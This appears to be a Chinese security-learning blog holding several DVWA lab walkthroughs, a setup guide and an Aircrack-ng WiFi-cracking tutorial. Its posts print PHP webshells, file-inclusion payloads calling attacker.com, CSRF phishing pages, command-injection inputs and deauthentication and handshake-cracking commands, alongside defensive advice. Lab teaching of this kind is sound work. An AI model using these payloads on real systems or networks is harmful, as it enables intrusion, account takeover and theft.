l1n6yun's Blog

记录学习的技能和遇到的问题

漏洞简介

验证码这东西,本来是用来区分人和机器的。但如果验证码机制写得有问题,那跟没有也差不多,暴力破解、批量注册什么的照样搞。

这关主要学怎么绕过不安全的验证码。

验证码类型

先了解下常见的验证码:

类型 说明
图形验证码 识别图片里的字符
短信验证码 手机收验证码
邮箱验证码 邮箱收验证码
滑动验证码 拖滑块到指定位置
点击验证码 按顺序点文字

Low 级别

Low 级别用的是 reCAPTCHA,但验证逻辑有问题:

1
2
3
4
5
6
7
8
9
10
11
if( isset( $_POST[ 'Change' ] ) ) {
$hide = $_POST[ 'step' ];
if( $hide == '1' ) {
// 第一步:输入验证码
}
elseif( $hide == '2' ) {
// 第二步:直接改密码,不验证验证码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
}
}

流程分两步,但第二步根本不检查验证码,直接跳到第二步就行了。

绕过方法

  1. 抓包拦截改密码请求
  2. step=1 改成 step=2
  3. 删掉验证码相关参数
1
step=2&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,密码改完了

验证码成了摆设。

Medium 级别

Medium 级别在第二步检查了 passed_captcha 参数:

1
2
3
if( $hide == '2' && $_POST[ 'passed_captcha' ] == 'true' ) {
// 改密码
}

但问题是这参数是客户端传过来的,想传啥都行。

绕过方法

  1. 抓包
  2. 加个 passed_captcha=true 参数
1
step=2&passed_captcha=true&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,又绕过去了

客户端传来的东西哪能信啊。

High 级别

High 级别用 reCAPTCHA API 验证:

1
2
3
4
5
6
7
8
9
10
11
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
// 验证码错误
} else {
// 通过,改密码
}

这个真去调 Google API 验证了,不太好搞。

绕过方法

禁用 JavaScript:

有些验证码依赖前端 JS,禁用浏览器 JS 可能就失效了。

重放攻击:

如果验证码没做一次性使用,抓到验证成功的请求可以重复用。

伪造响应:

如果能拦截 API 响应,可以改成验证成功。

不过说实话,到 High 级别再绕已经比较难了,正常情况下不太现实。

Impossible 级别

Impossible 级别是正确做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
dvwaMessagePush( "reCAPTCHA incorrect" );
log_event( "CAPTCHA failed for user: " . dvwaCurrentUser() );
exit;
}

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

服务端验证,还加了 CSRF Token,验证失败还记日志。这才是正经的验证码实现。

常见绕过方式

绕过方式 说明
参数篡改 改验证相关参数
流程跳过 直接跳过验证步骤
重放攻击 验证成功的请求重复用
禁用 JS 有些前端验证能绕
打码平台 人工识别
OCR 识别 自动识别简单验证码

小结

验证码防护要点:

  1. 一定要在服务端验证,客户端的东西都不能信
  2. 验证码用完就失效,别让人重复用
  3. 设个有效期,过期作废
  4. 错误太多次就锁定
  5. 用成熟的方案,别自己瞎写

漏洞简介

文件上传漏洞,简单说就是能上传不该上传的东西,比如 WebShell。一旦传上去个 PHP 木马,服务器基本就归你了。这玩意危害是真的大。

这关主要学怎么绕过各种上传限制,拿到 WebShell。

常用 WebShell

先准备几个常用的:

1
<?php @eval($_POST['cmd']); ?>
1
<?php system($_GET['cmd']); ?>

简单粗暴,一个参数接收命令就完事。

Low 级别

看代码:

1
2
3
4
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 上传成功
}

啥检查都没有,直接保存,爱传啥传啥。

攻击方法

  1. 写个 shell.php,内容 <?php @eval($_POST['cmd']); ?>
  2. 直接上传
  3. 访问 http://localhost:3892/hackable/uploads/shell.php
  4. 拿蚁剑或者菜刀连上去,服务器就是你的了

太简单了,没啥好说的。

Medium 级别

Medium 检查了 Content-Type 和文件大小:

1
2
3
4
5
6
7
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 允许上传
}

只检查请求头里的 Content-Type,这玩意前端改不了但抓包工具能改。

绕过方法

改 Content-Type:

  1. 上传 shell.php,Burp 抓包
  2. Content-Type: application/octet-stream 改成 Content-Type: image/jpeg

upload successful

  1. 放行,上传成功

upload successful

图片马:

也可以做个图片马,把 PHP 代码塞图片里:

1
copy normal.jpg/b + shell.php/a webshell.jpg

或者直接追加:

1
echo "<?php @eval($_POST['cmd']); ?>" >> image.jpg

不过图片马需要配合文件包含漏洞才能执行,后面会说。

High 级别

High 级别检查后缀和图片特征了:

1
2
3
4
5
6
7
8
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" ||
strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// 允许上传
}

检查了:

  1. 后缀必须是 jpg、jpeg、png
  2. 文件要小于 100KB
  3. getimagesize() 验证是不是真图片

绕过方法

单纯改后缀和 Content-Type 不行了,得做图片马配合文件包含。

步骤 1:做图片马

1
copy logo.png/b + shell.php/a webshell.png

这样图片里就包含 PHP 代码了。

步骤 2:上传

上传 webshell.png,因为是真的图片,能过 getimagesize() 检查。

步骤 3:文件包含执行

图片本身不会执行 PHP,得用文件包含漏洞:

1
http://localhost:3892/vulnerabilities/fi/?page=../../hackable/uploads/webshell.png

步骤 4:蚁剑连接

URL 填文件包含的地址,就能连上 WebShell 了。

Impossible 级别

Impossible 级别是真安全:

1
2
3
4
5
6
7
$target_file   = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) {
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
}

图片会用 GD 库重新生成一遍,里面夹带的恶意代码全都没了。文件名还是随机 MD5,想猜都猜不到。

常见绕过方式总结

绕过方式 说明
改 Content-Type 抓包改 MIME 类型
双写后缀 shell.php.php
大小写混淆 shell.PhP
特殊后缀 .php5.phtml
空字节截断 shell.php%00.jpg(老版本 PHP)
图片马 配合文件包含
.htaccess 让服务器把图片当 PHP 执行
条件竞争 上传后赶在删除前访问

小结

文件上传防护要点:

  1. 白名单限制后缀,别用黑名单
  2. 检查文件真实类型,别只看 Content-Type
  3. 图片最好重绘一遍,去恶意代码
  4. 文件名随机化,别保留原名
  5. 上传目录禁止执行脚本

漏洞简介

文件包含漏洞,顾名思义就是用户输入被拿去包含了不该包含的文件。分两种:

  • LFI(本地文件包含):只能读服务器本地的文件
  • RFI(远程文件包含):能包含远程服务器上的文件,危害更大

这关主要学怎么利用这个漏洞读敏感文件和执行恶意代码。

Low 级别

看代码:

1
2
$file = $_GET[ 'page' ];
include( $file );

用户输入直接丢给 include(),一点过滤都没有,想包含啥都行。

本地文件包含(LFI)

读一下 /etc/passwd

1
?page=/etc/passwd

或者用相对路径跳目录:

1
?page=../../../../../etc/passwd

还能读 Apache 配置:

1
?page=/etc/apache2/apache2.conf

PHP 配置文件:

1
?page=/etc/php/7.4/apache2/php.ini

远程文件包含(RFI)

如果 PHP 配置了 allow_url_include = On,那就能包含远程文件:

1
?page=http://attacker.com/shell.txt

直接把远程的恶意代码包含进来执行,想想就刺激。

配合文件上传

如果还有文件上传漏洞,可以上传一个含恶意代码的图片,然后用文件包含去执行:

1
?page=../../hackable/uploads/malicious.jpg

Medium 级别

Medium 开始过滤了:

1
$file = str_replace( array( "http://", "https://", "../", "..\\" ), "", $file );

过滤了 http://https://../..\,但是用 str_replace 这种方式很容易绕。

绕过方法

双写绕过目录遍历:

1
?page=....//....//....//....//etc/passwd

过滤完 ../ 之后,剩下的 ../ 就拼出来了。

双写绕过远程包含:

1
?page=hthttp://tp://attacker.com/shell.txt

过滤完 http:// 就变成了 http://attacker.com/shell.txt

用其他协议:

1
?page=ftp://attacker.com/shell.txt

PHP 伪协议:

1
?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

这个还能把文件内容 base64 编码输出,读源码很好用。

High 级别

High 级别限制了文件名必须以 file 开头:

1
2
3
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// 拒绝访问
}

但是 file:// 协议也符合这个条件啊。

绕过方法

file:// 协议:

1
?page=file:///etc/passwd

虽然限制了文件名格式,但 file:// 协议能读任意本地文件,过滤了个寂寞。

Impossible 级别

Impossible 级别用了白名单:

1
2
3
4
5
6
$file = $_GET[ 'page' ];
$allowed_files = array( 'file1.php', 'file2.php', 'file3.php' );
if( !in_array( $file, $allowed_files ) ) {
$file = 'include.php';
}
include( $file );

只有在白名单里的文件才能包含,这才是正确的做法。

常用 Payload 速查

Payload 用途
?page=/etc/passwd 读 Linux 用户文件
?page=../../../../../etc/passwd 目录遍历
?page=php://filter/read=convert.base64-encode/resource=config.php 读 PHP 源码
?page=php://input 执行 POST 数据中的代码
?page=file:///etc/passwd file 协议读本地文件
?page=http://attacker.com/shell.txt 远程文件包含
?page=data://text/plain,<?php phpinfo();?> data 协议执行代码

小结

文件包含漏洞危害很大,防护要点:

  1. 用白名单限制可包含的文件
  2. 禁用远程文件包含 allow_url_include = Off
  3. open_basedir 限制 PHP 能访问的目录
  4. 过滤特殊字符虽然有用,但不如白名单靠谱

漏洞简介

CSRF,全称 Cross-Site Request Forgery,跨站请求伪造。简单说就是攻击者伪造一个请求,诱导已经登录的用户去点,然后用户不知不觉就帮攻击者干了一些事,比如改密码、转账之类的。

原理就是浏览器会自动带上 Cookie,所以只要用户登录了,请求发出去就带着身份信息,服务器分辨不出这是不是用户真的想做的操作。

这关的目标是通过 CSRF 修改用户密码。

Low 级别

看代码:

1
2
3
4
5
6
7
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
}

GET 请求直接改密码,啥防护都没有。

攻击方法

正常改密码的请求长这样:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

那我伪造一个:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

做个钓鱼页面:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了</title>
</head>
<body>
<h1>恭喜您获得一等奖!</h1>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<p>请点击下方按钮领取奖品</p>
</body>
</html>

用户访问这个页面的瞬间,img 标签就会发送请求,密码就被改成 hacked 了。用户完全不知道发生了什么。

试一下用新密码登录,成功!

Medium 级别

Medium 加了 Referer 检验:

1
2
3
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 允许修改密码
}

它检查请求头里的 Referer 是否包含服务器域名,比如 localhost

绕过方法

问题在于它只是检查包含,那我把我钓鱼页面的路径里加上 localhost 不就行了?

比如文件名叫 localhost.html,或者放在 localhost 目录下。这样 Referer 里就会有 localhost 这个字符串,校验就过了。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<h1>页面加载中...</h1>
</body>
</html>

这验证写得也太随意了。

High 级别

High 加了 CSRF Token:

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

每次请求都要带个有效 Token,攻击者不知道 Token 就没法伪造请求了。

攻击方法

单纯的 CSRF 搞不定了,得配合 XSS 才行。如果有 XSS 漏洞,就能用 JavaScript 去获取页面里的 Token:

1
var token = document.getElementsByName('user_token')[0].value;

然后构造攻击页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3892/vulnerabilities/csrf/", false);
xhr.send();
var response = xhr.responseText;
var token = response.match(/user_token'\s*value='([^']+)'/)[1];

var attackUrl = "http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=" + token;
var attackXhr = new XMLHttpRequest();
attackXhr.open("GET", attackUrl, false);
attackXhr.send();
</script>
</body>
</html>

不过这个受同源策略限制,实际场景得看具体情况,这里主要是演示思路。

Impossible 级别

Impossible 级别是真安全:

1
2
3
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

改用 POST 了,还强制验证 Token,密码强度也有要求。这才是正确的防护姿势。

小结

CSRF 防护要点:

  1. 敏感操作一定要用 CSRF Token
  2. 尽量用 POST,别用 GET
  3. Cookie 设置 SameSite 属性
  4. 重要操作要求二次确认
  5. Referer 校验可以加,但别只指望它

漏洞简介

命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。

这关主要就是学怎么利用这个漏洞拿到服务器信息。

常用连接符

先记几个常用的命令连接符:

连接符 作用
; Linux 专用,前后命令都执行
&& 前面的成功了才执行后面的
|| 前面的失败了才执行后面的
| 管道,前面输出给后面
& Linux 后台运行,Windows 也能当连接符用

Low 级别

看源码:

1
2
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );

用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。

测试一下

输入 127.0.0.1;ls

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.023 ms
...
help
index.php
source

看到最后多出来几个文件名了吧,ls 命令执行成功了。

换个姿势,127.0.0.1&&whoami

1
2
...
www-data

当前用户是 www-data。

再看个狠的,127.0.0.1|cat /etc/passwd

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

直接把 passwd 文件读出来了。

还可以看看系统信息 127.0.0.1;uname -a

1
2
...
Linux 5aaff548a97b 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

这信息泄露够多的。

Medium 级别

Medium 开始过滤了:

1
2
3
4
5
6
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤了 &&;,但是漏了 |||& 这些。

绕过方法

|| 的话,前面的命令得失败才能执行后面的,所以可以这样:

1
127.0.0.1||ls

或者直接用管道符:

1
127.0.0.1|whoami

管道符最香,因为它只输出后面命令的结果,干净利落。

High 级别

High 级别过滤得更狠:

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

看起来过滤了 | ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。

绕过

直接用管道符不加空格:

1
127.0.0.1|ls

或者:

1
127.0.0.1|whoami

又绕过去了。这过滤写得还是不够严谨。

Impossible 级别

Impossible 级别是真正的安全写法:

1
2
3
4
5
6
7
8
$target = stripslashes( $target );
$octet = explode( ".", $target );

if( is_numeric( $octet[0] ) && is_numeric( $octet[1] ) && is_numeric( $octet[2] ) && is_numeric( $octet[3] )
&& ( $octet[0] < 256 ) && ( $octet[1] < 256 ) && ( $octet[2] < 256 ) && ( $octet[3] < 256 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 执行 ping
}

把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。

小结

命令注入危害挺大的,防护的话:

  1. 能不用系统命令就别用,语言自带函数能解决大部分问题
  2. 实在要用就得做好输入校验,用白名单
  3. escapeshellarg() 这类函数转义参数
  4. Web 服务尽量用低权限账户跑

漏洞简介

Brute Force,说白了就是暴力破解。拿一堆账号密码挨个试,总有一个能蒙对的。虽然听着挺 low 的,但说实话很多系统还是会被这种方式攻破,尤其是那些密码设得简单的。

这关主要用 Burp Suite 来搞,算是入门必备工具了。

Low 级别

先看源码:

1
$getid  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

好家伙,直接拼 SQL,连注入带爆破都能搞。

方法一:SQL 注入直接绕过

既然有注入,那还爆什么破,直接绕登录:

用户名填 admin'# 或者 admin' or '1'='1'#,密码随便填,直接进。

登录成功

方法二:Burp Suite 暴力破解

想练手 Burp Suite 的话,还是走爆破路线。

第一步:抓包

打开 DVWA 的 Brute Force 页面,随便输个账号密码,点登录。Burp 会把请求拦下来,右键选 Send to Intruder

upload successful

第二步:设置攻击点

进 Intruder -> Positions,把预设的标记都清掉,然后选中用户名和密码这两个值,点 Add § 加标记:

1
username=§admin§&password=§123456§&Login=Login

upload successful

第三步:配置字典

切到 Payloads 选项卡:

Payload set 1 填几个常见用户名:adminadministratorroottest

upload successful

Payload set 2 填密码,可以自己写几个常用的,也可以加载字典文件。

upload successful

第四步:开跑

点 Start attack,等着就行。看 Length 这一列,响应长度不一样的那个就是成功了。

upload successful

跑出来用户名 admin,密码 password

Medium 级别

Medium 级别加了个 mysql_real_escape_string() 转义特殊字符,还有个 sleep(2) 延迟:

1
2
$user = mysql_real_escape_string($user);
$pass = mysql_real_escape_string($pass);

注入是没法注入了,但爆破还是能爆,就是慢了点,每次都要等 2 秒。耐心点就行,反正又不是手工试。

High 级别

High 级别加了 CSRF Token,每次请求都要带上有效的 user_token

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

这就麻烦了,普通的 Intruder 模式没法用,因为每次都要先获取新的 Token。

绕过方法

用 Burp 的 Pitchfork 模式配合 Recursive grep

第一步:设置攻击类型

攻击类型选 Pitchfork,标记密码和 token:

1
username=admin&password=§123456§&Login=Login&user_token=§token_here§

upload successful

第二步:配置提取 Token

在 Options -> Grep - Extract 里添加规则,从响应里提取 user_token 的值。

upload successful

第三步:设置重定向

把 Follow redirections 改成 Always。

upload successful

第四步:配置 Payload

第一个 Payload 用密码字典。

第二个 Payload 类型选 Recursive grep,从上一个响应里提取 Token。

upload successful

第五步:开跑

点开始,观察结果,找到对的密码。

upload successful

Impossible 级别

Impossible 级别是真没法爆了:

1
2
3
4
5
6
$total_failed_login = $row[ 'total_failed_login' ];
$lock_time = strtotime( $row[ "last_login" ] ) + (15 * 60);

if( $total_failed_login >= 3 && strtotime( $row[ "last_login" ] ) > $lock_time ) {
// 账户被锁定
}

连续失败 3 次就锁 15 分钟,这就没法玩了。加上还有 CSRF Token、PDO 预处理、密码加密存储,这才是正确的安全姿势。

小结

暴力破解虽然听着土,但真挺有效的,尤其是那种密码设得简单还没防护的系统。做防护的话,记住几点:

  • 限制登录次数,失败几次就锁定
  • 加验证码
  • 强制强密码
  • 最好上个双因素认证

前言

最近在学 Web 安全,发现 DVWA 这个靶场挺适合练手的。DVWA 全称是 Damn Vulnerable Web Application,说白了就是一个故意写满漏洞的 PHP 网站,专门用来让我们学习怎么发现和利用漏洞。

不过有一点要注意,这玩意漏洞太多了,千万别部署到公网上去,我就放在本地的 Docker 里跑,安全第一。

安装步骤

1. 拉取镜像

既然用 Docker,那就简单了,先拉个镜像:

1
docker pull vulnerables/web-dvwa

等几分钟就能拉下来。

2. 启动容器

然后跑起来:

1
docker run -d -p 3892:80 vulnerables/web-dvwa

这里 -d 是后台运行,-p 3892:80 把容器里的 80 端口映射到本机的 3892 端口。端口随便改,只要没被占用就行。

3. 访问测试

打开浏览器访问 http://localhost:3892,应该能看到 DVWA 的界面了。

upload successful

4. 登录

默认账号密码:

  • 用户名:admin
  • 密码:password

登录进去就可以开始玩了。

安全级别说明

DVWA 有四个安全级别,在左边菜单可以切换:

级别 难度
Low 最简单,基本没防护,适合入门
Medium 有一点防护,但能绕过
High 防护比较强,需要点技巧
Impossible 安全编码的示范,基本没法攻破

建议从 Low 开始,一步步往上学,最后看看 Impossible 级别的代码是怎么写的,这才是正确的学习姿势。

后续计划

DVWA 有挺多漏洞模块的,后面我会一个个写通关教程:

  • Brute Force(暴力破解)
  • Command Injection(命令注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA(不安全的验证码)
  • SQL Injection(SQL 注入)
  • SQL Injection Blind(盲注)
  • Weak Session IDs(弱会话 ID)
  • XSS DOM(DOM 型 XSS)
  • XSS Reflected(反射型 XSS)
  • XSS Stored(存储型 XSS)
  • CSP Bypass(内容安全策略绕过)
  • JavaScript(JavaScript 攻击)

先装好环境,下一篇开始讲暴力破解。

  1. 在 Kali 的桌面按下 Ctrl+Alt+T 打开终端

  2. 使用 root 权限执行 sudo dpkg-reconfigure locales
    upload successful

  3. 选中 en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8 (注意:按下空格键选中,选好后按下TAB键退出编码格式选项,跳到OK选项)
    upload successful

  4. 选择 zh_CN.UTF-8,选择OK
    upload successful

  5. 在终端键入reboot, 重启Kali
    upload successful

  6. 重启Kali后, 建议选择保留旧的名称
    upload successful

  7. 此时可以看到界面已经汉化完成了!
    upload successful

Example #1 Basic HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');


if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}


// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');


// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];


// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Example #3 强迫重新输入用户名和密码的 HTTP 认证的范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You must enter a valid login ID and password to access this resource\n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
}
else {
echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
echo "Old: {$_REQUEST['OldAuth']}";
echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
echo "<input type='submit' value='Re Authenticate' />\n";
echo "</form></p>\n";
}

Aircrack-ng是一个基于WiFi无线网络分析有关的安全软件,主要功能有网络侦测、数据包嗅探、WEP和WPA/WPA2-PSK破解等。
因为安全性的原因。现在,周围很少有用WEP算法来加密的WiFi密码,不过基本命令都很相似。

WiFi网络构成

  1. WiFi是一个建立于IEEE 802.11标准的无线局域网络(WLAN)设备。
  2. WiFi工作原理AP(Access Point 例如:无线路由器)每100ms将SSID(Service Set Identifier)经由beacons(信号台)封包广播一次。

查看网卡信息

1
iwconfig

upload successful

启动监听模式

1
airmon-ng start wlan0

upload successful

准备抓取握手包

1
airodump-ng -c 6 -bssid 64:6E:97:DA:39:5C -w thomas wlan0
  • -c:信道号
  • –bssid:apMAC
  • -w:保存的文件名

upload successful

扫描到的WiFi热点信息

  • BSSID:WiFi路由器的MAC地址
  • PWR:网卡报告信号水平,信号值越高说明离AP越近。(PWR=-1,网卡驱动不支持报告此项信息)
  • Beacons:无线AP发出的通告编号
  • #Data:被捕获到的数据分组的数量(一般数据量越大,抓取握手包更容易)
  • #/s:过去10秒钟内每秒捕获数据分组的数量
  • CH:信道号(从Beacon中获取)
  • MB:无线AP所支持的最大速率
  • ENC:加密算法体系
  • CIPHER:加密算法
  • AUTH:使用的认证协议
  • ESSID:wifi名称

使已连接WiFi的用户A强制下线,之后A会向WiFi路由重新发送一个带密码的请求握手包

1
aireplay-ng -0 2 -a 64:6E:97:DA:39:5C -c C2:46:34:ED:48:4C wlan0
  • -0:攻击数据包数量
  • -a:WiFi MAC 地址
  • -c:用户 MAC 地址

upload successful

出现 WAP handshake 表示已经获取到了握手包,下面就可以实现破解了

upload successful

开始爆破

1
aircrack-ng -w pass.txt thomas-01.cap
  • -w:字典文件路径

upload successful

hashcat

关于密码破解,可以使用kali自带的hashcat使效率大大增加

1
2
aircrack-ng [抓取到的握手包文件名] -J [转换后的文件名]
hashcat -m 2500 .hccap password.txt

参数: -m 2500为破解的模式为WPA/PSK方式 hccap格式的文件是刚刚转化好的文件 字典文件

注:最新版hashcat一般情况下不支持hccap格式,第一步需将握手包cap格式转换为hccapx

0%